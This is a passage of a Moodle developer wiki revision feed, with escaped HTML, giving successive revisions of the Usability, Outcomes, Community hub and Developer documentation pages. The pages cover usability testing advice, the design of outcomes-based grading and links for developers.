* Psychology of Everyday Things by Donald Norman (aka The Design of Everyday Things), It&#039;s a classic, so some of the examples are a bit dated, but the basic message that it is fundamentally hard for a designer (no matter how smart) to place themselves mentally in the position of a user is put across well. I think about this book&#039;s simple message every time I push a door I was supposed to pull and vice versa.&lt;br /&gt;
* Emotional Design: why we hate or love everyday things by Donald Norman&lt;br /&gt;
&lt;br /&gt;
[[Category:Usability]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:ユーザビリティ]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Usability&amp;diff=1737</id>
		<title>Usability</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Usability&amp;diff=1737"/>
		<updated>2008-02-14T15:32:13Z</updated>

		<summary type="html">&lt;p&gt;Mits: fixed typo:  Principals &amp;gt;&amp;gt; Principles&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Some pointers, links, and resources on the topic of Usability (with respect to Moodle).&lt;br /&gt;
&lt;br /&gt;
==Contribute to Moodle through Usability testing==&lt;br /&gt;
&lt;br /&gt;
An ongoing need of a project such as Moodle is to keep the interface usable as the code matures. Improvements and added functionality may seem like a wonderful innovation from the coder&#039;s or administrator&#039;s point of view, but if the end-user is confused or frustrated by it (or can&#039;t even find it!), its usefulness drop dramatically.&lt;br /&gt;
&lt;br /&gt;
The idea of usability testing is simple: a person who is well-versed in Moodle gets together a small number of willing participants, who have no previous experience of using Moodle, and who are not technology experts (such as web designers etc...). The closer these people are to the &amp;quot;typical user&amp;quot; (for example a high school student), the better. The person conducting the test simply observes the participant as he/she tries to achieve a number of tasks. A video/sound recording can also be made with the prior consent of the participant, and is useful for later analysis.&lt;br /&gt;
&lt;br /&gt;
The person conducting the test then pools together the issues that were common between most participants, and produces a short and concise report that is then used by Moodle developers to improve the user interface.&lt;br /&gt;
&lt;br /&gt;
This sort of contribution requires no coding skills whatsoever, not even HTML. You just need to be familiar with using Moodle as a learner.&lt;br /&gt;
&lt;br /&gt;
The links at the bottom of this article include Steve Krug&#039;s book, &amp;quot;Don&#039;t make me think!&amp;quot;. This books is the best introduction to Usability testing I know of.&lt;br /&gt;
&lt;br /&gt;
==Bike sheds==&lt;br /&gt;
&lt;br /&gt;
Because changes with regard to Usability are necessarily visual and on the surface, it is a potential Bike Shed issue. This is a metaphor bandied around in Open Source circles that suggests (in brief) that the smaller the change, the greater the discussions that surround it in forums and mailing lists. People proposing small improvements to Moodle should be aware of this phenomenon and not take the level of discussion as an implicit criticism of their suggestion.&lt;br /&gt;
&lt;br /&gt;
You can read a well-written account of this metaphor on the BSD mailing list here: http://a.mongers.org/clueful/1999-phk-bikeshed&lt;br /&gt;
&lt;br /&gt;
==Avoid the word &amp;quot;intuitive&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
(Definition: [http://www.usabilityfirst.com/glossary/main.cgi?function=display_term&amp;amp;term_id=444 Intuitive])&lt;br /&gt;
&lt;br /&gt;
Intuitive is a word you should avoid in discussions of usability as its meaning is often confused.&lt;br /&gt;
&lt;br /&gt;
It is generally accepted that a large part of usability is based on familiarity and experience. Human Interface Guidelines published by people such as Apple or Gnome strive for logic and consistency so that the learning can be easier, and the experience more valuable. Using &#039;intuitive&#039; as a short-hand for something that is familiar often gives the impression that if something is &#039;intuitive&#039; then it is so regardless of prior learning or experience and therefore equally true for everyone. It suggests that the goodness or badness of an interface is situated within the interface itself, rather than in the relationship between the user and the interface.&lt;br /&gt;
&lt;br /&gt;
Very few people would object to the statement that &#039;Apple software is more intuitive than Windows software&#039; yet to someone who has only used Windows software, this is clearly not the case. Avoiding using the word yourself and mentally translating other people&#039;s use of intuitive as &#039;something I like&#039; e.g. &amp;quot;Moodle&#039;s block system is unintuitive&amp;quot; = &amp;quot;Moodle&#039;s block system is something I don&#039;t like&amp;quot; may help to defuse arguments because it is harder to argue about personal opinions that are stated explicitly as personal opinion rather than disguised as objective statements about the software.&lt;br /&gt;
&lt;br /&gt;
Therefore what is called intuitive, in the case of Moodle, will depend on your experience and expectations of other learning systems, web applications or sites, as well as software in general and thus varies from person to person. Usability studies should therefore average out the expectations of many people to find what is &#039;intuitive&#039; and check to see if different groups (e.g. users of particular alternative systems, total beginners) have different expectations.&lt;br /&gt;
&lt;br /&gt;
This article explains more and better (with diagrams!): http://www.uie.com/articles/design_intuitive/&lt;br /&gt;
&lt;br /&gt;
==Learnability versus usability==&lt;br /&gt;
&lt;br /&gt;
People often confuse these topics, understandbly as they do have a great deal in common. Generally what are referred to as &#039;usability&#039; improvements make things both easier to learn and easier for experienced users. Occasionally decisions need to be made favouring one over the other, and in those situations it helps to be explicit which of the two you are referring to. There are many succesful software tools that sacrifice learnability so that power-users can be more efficient. It seems likely that Moodle will continue to lean towards learnability in these cases, though again 99% of the time these goals are not in conflict.&lt;br /&gt;
&lt;br /&gt;
==Don&#039;t automatically suggest a new preference==&lt;br /&gt;
&lt;br /&gt;
In open source projects it is often easier (in the short term) to defuse any disagreement by &#039;adding a preference&#039;. This means you end up with double (or triple..) the code to achieve the same thing. That&#039;s more code to write, debug, maintain etc. And once you end up with preferences interacting the potential combinations become astronomical and you end up in the situation that no two people are actually running the same program.&lt;br /&gt;
&lt;br /&gt;
This can, over time lead to a profusion of preferences, each of which has a cost that needs to be weighed against its benefit. Sometimes finding a solution that pleases everyone (to some degree) is preferable to adding preferences for each idea,&lt;br /&gt;
&lt;br /&gt;
This is explained far better by Havoc Pennington in his piece on Open Source and User Interface, in particular the &amp;quot;Question of Preferences &amp;quot; section about half way through: http://www106.pair.com/rhp/free-software-ui.html&lt;br /&gt;
&lt;br /&gt;
==Is Moodle a website?==&lt;br /&gt;
&lt;br /&gt;
The somewhat tricky thing with regard to Moodle&#039;s usability is that Moodle is a web application, not a web site (though the line between the two is sometimes blurry) and few, if any, books have been written for that class of software. Therefore many applicable pieces of advice (from web, software or product usability guides) need to be reassessed with Moodle&#039;s nature in mind.&lt;br /&gt;
&lt;br /&gt;
==External links==&lt;br /&gt;
&lt;br /&gt;
* 37 Signals Blog: Signal versus Noise http://www.37signals.com/svn/&lt;br /&gt;
* Jabkob Neilson&#039;s website http://useit.com/&lt;br /&gt;
* Joel Spolsky&#039;s User Interface Design for Programmers http://www.joelonsoftware.com/uibook/chapters/fog0000000057.html&lt;br /&gt;
* First Principles of Interaction Design by Tog (Bruce Tognazzini) http://www.asktog.com/basics/firstPrinciples.html&lt;br /&gt;
&lt;br /&gt;
==Booklist==&lt;br /&gt;
&lt;br /&gt;
Web specific&lt;br /&gt;
&lt;br /&gt;
* [http://www.sensible.com/ Don&#039;t Make Me Think] by Steve Krug, a really good book, full of good info yet brief, well written and accessible. A [http://www.sensible.com/chapter.html sample chapter] is made available on his site, as well as [http://www.sensible.com/secondedition/index.html 3 complete chapters] from the 1st edition in pdf format, covering a complete script for usability testing.&lt;br /&gt;
&lt;br /&gt;
* [http://www.digital-web.com/articles/defensive_design_for_the_web/ Defensive Design For The Web] by [http://www.37signals.com/ 37 Signals] (Matthew Lindeman and Jason Fried).&lt;br /&gt;
&lt;br /&gt;
Computer specific&lt;br /&gt;
&lt;br /&gt;
* The Humane Interface by Jeff Raskin Jeff, who sadly passed away recently, has been more and more research focused for the last 15 years, since his days helping to create the first Macintosh. This led to a discarding all practical considerations to concieve of the &#039;perfect&#039; UI, rather than attending to the pragmatic, checklist-style &amp;quot;improve your site in 15 minutes&amp;quot; genre. However his wrting is excellent in consistently laying the blame for problems with the computer and it&#039;s software, not the user. It is often easy to fall into the trap of thinking &#039;stupid&#039; users are the problem, rather than simply a design parameter. It is however worth remembering that (unless you are a research fellow) many of these technical faults must be worked with to a certain degree, and that &amp;quot;perfection can often be the enemy of the good&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
General&lt;br /&gt;
&lt;br /&gt;
* Psychology of Everyday Things by Donald Norman (aka The Design of Everyday Things), It&#039;s a classic, so some of the examples are a bit dated, but the basic message that it is fundamentally hard for a designer (no matter how smart) to place themselves mentally in the position of a user is put across well. I think about this book&#039;s simple message every time I push a door I was supposed to pull and vice versa.&lt;br /&gt;
* Emotional Design: why we hate or love everyday things by Donald Norman&lt;br /&gt;
&lt;br /&gt;
[[Category:Usability]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Outcomes&amp;diff=2104</id>
		<title>Outcomes</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Outcomes&amp;diff=2104"/>
		<updated>2008-01-21T19:52:18Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Support for Outcomes (also known as Competencies, Goals, Standards or Criteria) means that we can grade things using one or more scales that are tied to outcome statements.   It is intimately connected to [[Grades]] but is optional to use.&lt;br /&gt;
&lt;br /&gt;
For example, an assignment might be graded according to these three scales (together known as a Rubric).&lt;br /&gt;
&lt;br /&gt;
 Content - Poor, Fair, Good&lt;br /&gt;
 Organisation - Poor, Fair, Good&lt;br /&gt;
 Grammar - Poor, Fair, Good&lt;br /&gt;
&lt;br /&gt;
These are the components:&lt;br /&gt;
&lt;br /&gt;
==Site vs Course outcomes==&lt;br /&gt;
&lt;br /&gt;
Most outcomes are made available at the site level, which means they can be used by any activity in any course, provided the overall switch is on. This is achieved by leaving the outcome&#039;s courseid field empty (in the database). &lt;br /&gt;
&lt;br /&gt;
In some cases you may want to define a special outcome, specific to a particular course. This is achieved by assigning the course ID number to the outcome&#039;s courseid field. Such an outcome is &#039;&#039;NOT&#039;&#039; available outside the context of that course.&lt;br /&gt;
&lt;br /&gt;
==Overall switch==&lt;br /&gt;
&lt;br /&gt;
The admin has a site-wide switch to enable/disable outcomes completely for the site.&lt;br /&gt;
&lt;br /&gt;
==Outcomes management and reporting==&lt;br /&gt;
&lt;br /&gt;
A grade report at /grade/report/outcomes is the place where people manage outcomes.  There are three tabs to this report, visibility is dependent on your permissions:&lt;br /&gt;
&lt;br /&gt;
===Site management (Admin user)===&lt;br /&gt;
&lt;br /&gt;
The admin can create and edit a list of outcomes using a GUI.  &lt;br /&gt;
&lt;br /&gt;
Outcomes have these main fields:&lt;br /&gt;
* shortname - some code or abbreviated name&lt;br /&gt;
* fullname - the full &amp;quot;sentence&amp;quot; describing the outcome &lt;br /&gt;
* scaleid - a chosen scale for ratings&lt;br /&gt;
&lt;br /&gt;
Later we can also add importing from a CSV file, so that it&#039;s easy for sites to import long lists of state-based standards or training competencies.&lt;br /&gt;
&lt;br /&gt;
===Course management (Editing teacher)===&lt;br /&gt;
&lt;br /&gt;
The editing teacher can choose from this large list to pick a subset of outcomes for the current course.   They can also define new outcomes to be used JUST for this course.&lt;br /&gt;
&lt;br /&gt;
===Course reporting (Teacher)===&lt;br /&gt;
&lt;br /&gt;
The course report displays all the chosen outcomes for this course along with information about which activities are currently tied to them, or reporting of students according to which outcomes they&#039;ve achieved &amp;quot;passing grades&amp;quot; in, and which ones they are failing in, as an aid to identify strong/weak points for individuals and groups.&lt;br /&gt;
&lt;br /&gt;
Here is a sample report:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot; summary=&amp;quot;Outcomes Report&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Outcome name&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Overall average&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Site-wide&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Activities&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Average&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Number of grades&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;intelligence&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Idiotic (1.5)&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;No&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Philosophy in France&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Idiotic (1.5)&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;2&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;2&amp;quot;&amp;gt;Wisdom&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;2&amp;quot;&amp;gt;Smart (4.29)&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;2&amp;quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Ancient Gaul&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Stupid (2.6)&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;French Kings and Queens&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Clever (5.97)&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;2&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;honesty&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt; - &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; 0 &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Arrogance&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt; - &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; 0 &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activity editing== &lt;br /&gt;
&lt;br /&gt;
A new grading section added to the course mod update form using a single function (similar to standard_coursemodule_elements()) which offers a choice between:&lt;br /&gt;
* basic grading (as now) OR&lt;br /&gt;
* outcomes &lt;br /&gt;
&lt;br /&gt;
The course outcomes are shown in a multi-select list and any number can be chosen.&lt;br /&gt;
&lt;br /&gt;
For Moodle 1.9 we should not offer both, to keep things simple. &lt;br /&gt;
&lt;br /&gt;
The result of these forms goes to course/mod.php which is able to process them without any further functions from the module itself.   Roughly it would use grade_get_items to find out what items were already set, and then compare to the new form input to work out what calls to grade_update() need to made to create/update/delete existing grade_items.&lt;br /&gt;
&lt;br /&gt;
Note that not all activities could be upgraded to support this.  Assignment is a natural first one to implement for 1.9, then we can see after that.   &lt;br /&gt;
&lt;br /&gt;
Potentially even modules without grading could still support outcomes, the columns in the gradebook would just have to be filled in manually, that&#039;s all.&lt;br /&gt;
&lt;br /&gt;
==Activity grading== &lt;br /&gt;
&lt;br /&gt;
Activities that support grading (like Assignment) need to be upgraded to support:&lt;br /&gt;
===Multiple grading interface===&lt;br /&gt;
grade_get_items() would get the items and make the interface fairly easy to do.  Where there was one popup menu there would now be multiple popup menus.&lt;br /&gt;
&lt;br /&gt;
===Storage of multiple grades===&lt;br /&gt;
This is a bit more tricky, because we want to avoid adding lots of grade1, grade2, grade3 fields to every module&#039;s tables.&lt;br /&gt;
&lt;br /&gt;
I can see three potential ways forward here:&lt;br /&gt;
&lt;br /&gt;
# We add new fields to every module and just live with the hardcoded limits (eg max of 5 outcomes per activity). &lt;br /&gt;
# We add a new generic table where modules can store their grades (outside of the gradebook).&lt;br /&gt;
# We open up the API slightly to allow modules to store their grades directly into the gradebook.  This sort of binding was something I have been always trying to avoid but perhaps it&#039;s unavoidable.&lt;br /&gt;
&lt;br /&gt;
We need to discuss these options and think about them some more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Some example scenarios: [[Outcomes_examples]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Outcomes]]&lt;br /&gt;
&lt;br /&gt;
[[ja:Development:アウトカム]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Outcomes&amp;diff=2103</id>
		<title>Outcomes</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Outcomes&amp;diff=2103"/>
		<updated>2008-01-20T03:07:02Z</updated>

		<summary type="html">&lt;p&gt;Mits: fixed typo - &amp;#039;uset&amp;#039; -&amp;gt; &amp;#039;use&amp;#039;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Support for Outcomes (also known as Competencies, Goals, Standards or Criteria) means that we can grade things using one or more scales that are tied to outcome statements.   It is intimately connected to [[Grades]] but is optional to use.&lt;br /&gt;
&lt;br /&gt;
For example, an assignment might be graded according to these three scales (together known as a Rubric).&lt;br /&gt;
&lt;br /&gt;
 Content - Poor, Fair, Good&lt;br /&gt;
 Organisation - Poor, Fair, Good&lt;br /&gt;
 Grammar - Poor, Fair, Good&lt;br /&gt;
&lt;br /&gt;
These are the components:&lt;br /&gt;
&lt;br /&gt;
==Site vs Course outcomes==&lt;br /&gt;
&lt;br /&gt;
Most outcomes are made available at the site level, which means they can be used by any activity in any course, provided the overall switch is on. This is achieved by leaving the outcome&#039;s courseid field empty (in the database). &lt;br /&gt;
&lt;br /&gt;
In some cases you may want to define a special outcome, specific to a particular course. This is achieved by assigning the course ID number to the outcome&#039;s courseid field. Such an outcome is &#039;&#039;NOT&#039;&#039; available outside the context of that course.&lt;br /&gt;
&lt;br /&gt;
==Overall switch==&lt;br /&gt;
&lt;br /&gt;
The admin has a site-wide switch to enable/disable outcomes completely for the site.&lt;br /&gt;
&lt;br /&gt;
==Outcomes management and reporting==&lt;br /&gt;
&lt;br /&gt;
A grade report at /grade/report/outcomes is the place where people manage outcomes.  There are three tabs to this report, visibility is dependent on your permissions:&lt;br /&gt;
&lt;br /&gt;
===Site management (Admin user)===&lt;br /&gt;
&lt;br /&gt;
The admin can create and edit a list of outcomes using a GUI.  &lt;br /&gt;
&lt;br /&gt;
Outcomes have these main fields:&lt;br /&gt;
* shortname - some code or abbreviated name&lt;br /&gt;
* fullname - the full &amp;quot;sentence&amp;quot; describing the outcome &lt;br /&gt;
* scaleid - a chosen scale for ratings&lt;br /&gt;
&lt;br /&gt;
Later we can also add importing from a CSV file, so that it&#039;s easy for sites to import long lists of state-based standards or training competencies.&lt;br /&gt;
&lt;br /&gt;
===Course management (Editing teacher)===&lt;br /&gt;
&lt;br /&gt;
The editing teacher can choose from this large list to pick a subset of outcomes for the current course.   They can also define new outcomes to be used JUST for this course.&lt;br /&gt;
&lt;br /&gt;
===Course reporting (Teacher)===&lt;br /&gt;
&lt;br /&gt;
The course report displays all the chosen outcomes for this course along with information about which activities are currently tied to them, or reporting of students according to which outcomes they&#039;ve achieved &amp;quot;passing grades&amp;quot; in, and which ones they are failing in, as an aid to identify strong/weak points for individuals and groups.&lt;br /&gt;
&lt;br /&gt;
Here is a sample report:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot; summary=&amp;quot;Outcomes Report&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Outcome name&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Overall average&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Site-wide&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Activities&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Average&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Number of grades&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;intelligence&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Idiotic (1.5)&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;No&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Philosophy in France&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Idiotic (1.5)&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;2&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;2&amp;quot;&amp;gt;Wisdom&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;2&amp;quot;&amp;gt;Smart (4.29)&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;2&amp;quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Ancient Gaul&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Stupid (2.6)&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;French Kings and Queens&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Clever (5.97)&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;2&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;honesty&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt; - &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; 0 &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Arrogance&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt; - &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td rowspan=&amp;quot;1&amp;quot;&amp;gt;Yes&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; 0 &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activity editing== &lt;br /&gt;
&lt;br /&gt;
A new grading section added to the course mod update form using a single function (similar to standard_coursemodule_elements()) which offers a choice between:&lt;br /&gt;
* basic grading (as now) OR&lt;br /&gt;
* outcomes &lt;br /&gt;
&lt;br /&gt;
The course outcomes are shown in a multi-select list and any number can be chosen.&lt;br /&gt;
&lt;br /&gt;
For Moodle 1.9 we should not offer both, to keep things simple. &lt;br /&gt;
&lt;br /&gt;
The result of these forms goes to course/mod.php which is able to process them without any further functions from the module itself.   Roughly it would use grade_get_items to find out what items were already set, and then compare to the new form input to work out what calls to grade_update() need to made to create/update/delete existing grade_items.&lt;br /&gt;
&lt;br /&gt;
Note that not all activities could be upgraded to support this.  Assignment is a natural first one to implement for 1.9, then we can see after that.   &lt;br /&gt;
&lt;br /&gt;
Potentially even modules without grading could still support outcomes, the columns in the gradebook would just have to be filled in manually, that&#039;s all.&lt;br /&gt;
&lt;br /&gt;
==Activity grading== &lt;br /&gt;
&lt;br /&gt;
Activities that support grading (like Assignment) need to be upgraded to support:&lt;br /&gt;
===Multiple grading interface===&lt;br /&gt;
grade_get_items() would get the items and make the interface fairly easy to do.  Where there was one popup menu there would now be multiple popup menus.&lt;br /&gt;
&lt;br /&gt;
===Storage of multiple grades===&lt;br /&gt;
This is a bit more tricky, because we want to avoid adding lots of grade1, grade2, grade3 fields to every module&#039;s tables.&lt;br /&gt;
&lt;br /&gt;
I can see three potential ways forward here:&lt;br /&gt;
&lt;br /&gt;
# We add new fields to every module and just live with the hardcoded limits (eg max of 5 outcomes per activity). &lt;br /&gt;
# We add a new generic table where modules can store their grades (outside of the gradebook).&lt;br /&gt;
# We open up the API slightly to allow modules to store their grades directly into the gradebook.  This sort of binding was something I have been always trying to avoid but perhaps it&#039;s unavoidable.&lt;br /&gt;
&lt;br /&gt;
We need to discuss these options and think about them some more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Some example scenarios: [[Outcomes_examples]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Outcomes]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Community_hub&amp;diff=2245</id>
		<title>Community hub</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Community_hub&amp;diff=2245"/>
		<updated>2007-07-29T18:39:24Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Moodle Community hub is a future project which will allow more interaction between teachers building courses and teachers using them, courses and user data can then be stored in a repository as shown below:&lt;br /&gt;
&lt;br /&gt;
[[Image:Community.png]]&lt;br /&gt;
&lt;br /&gt;
==Moodle Network notes==&lt;br /&gt;
&lt;br /&gt;
::After talking with MartinD about this in MoodleMootNZ&#039;06, I am working on a &amp;quot;Moodle Network&amp;quot; model that supports the &amp;quot;Moodle Hub&amp;quot; as well as a more P2P layout. In fact, the choices of hub vs network model can be mixed and matched. Each node can configure a list of other nodes it knows about (and trusts!), and set what it offers to each of them. --[[User:Martin Langhoff|Martin Langhoff]] 13:11, 20 July 2006 (WST)&lt;br /&gt;
&lt;br /&gt;
Here are my technical notes on how the internals would work...&lt;br /&gt;
&lt;br /&gt;
* [[Community hub technotes]] - getting it done&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
&lt;br /&gt;
* [[Community hub BEST]] - pictures and notes about the BEST Bulgarian project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Future]]&lt;br /&gt;
[[Category:MNET]]&lt;br /&gt;
&lt;br /&gt;
[[ja:コミュニティーハブ]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Developer_documentation&amp;diff=503</id>
		<title>Developer documentation</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Developer_documentation&amp;diff=503"/>
		<updated>2006-12-04T17:47:21Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;p class=&amp;quot;note&amp;quot;&amp;gt;&#039;&#039;&#039;Note:&#039;&#039;&#039; New developer documentation pages should be added to the &#039;&#039;Development namespace&#039;&#039; by typing &amp;lt;code&amp;gt;Development:&amp;lt;/code&amp;gt; before the new page name i.e. &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;[[New page name]]&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Guidelines==&lt;br /&gt;
The following guidelines are crucial reading for anyone wanting to contribute to the Moodle code base:&lt;br /&gt;
*[[Coding|Coding guidelines]] have to be followed by all Moodle developers&lt;br /&gt;
*[[Moodle architecture]] spells out the basic design goals behind Moodle&lt;br /&gt;
*[[Interface guidelines]] aim to provide a common feel to the Moodle user interface&lt;br /&gt;
*[[CVS (developer)|Moodle CVS for developers]] explains how to work with the Moodle code in CVS&lt;br /&gt;
*[[Unit tests]] explains how to run the unit tests, and how to write new test cases.&lt;br /&gt;
*[[Tracker]] explains the Moodle Tracker for keeping track of bugs, issues, feature requests etc&lt;br /&gt;
*[[Working with the Community|Working with the Community]] explains how to engage with the dev community and discuss changes&lt;br /&gt;
&lt;br /&gt;
== Resources and tools ==&lt;br /&gt;
&lt;br /&gt;
*[[Developer FAQ]] - frequently asked questions, especially useful for newcomers to Moodle&lt;br /&gt;
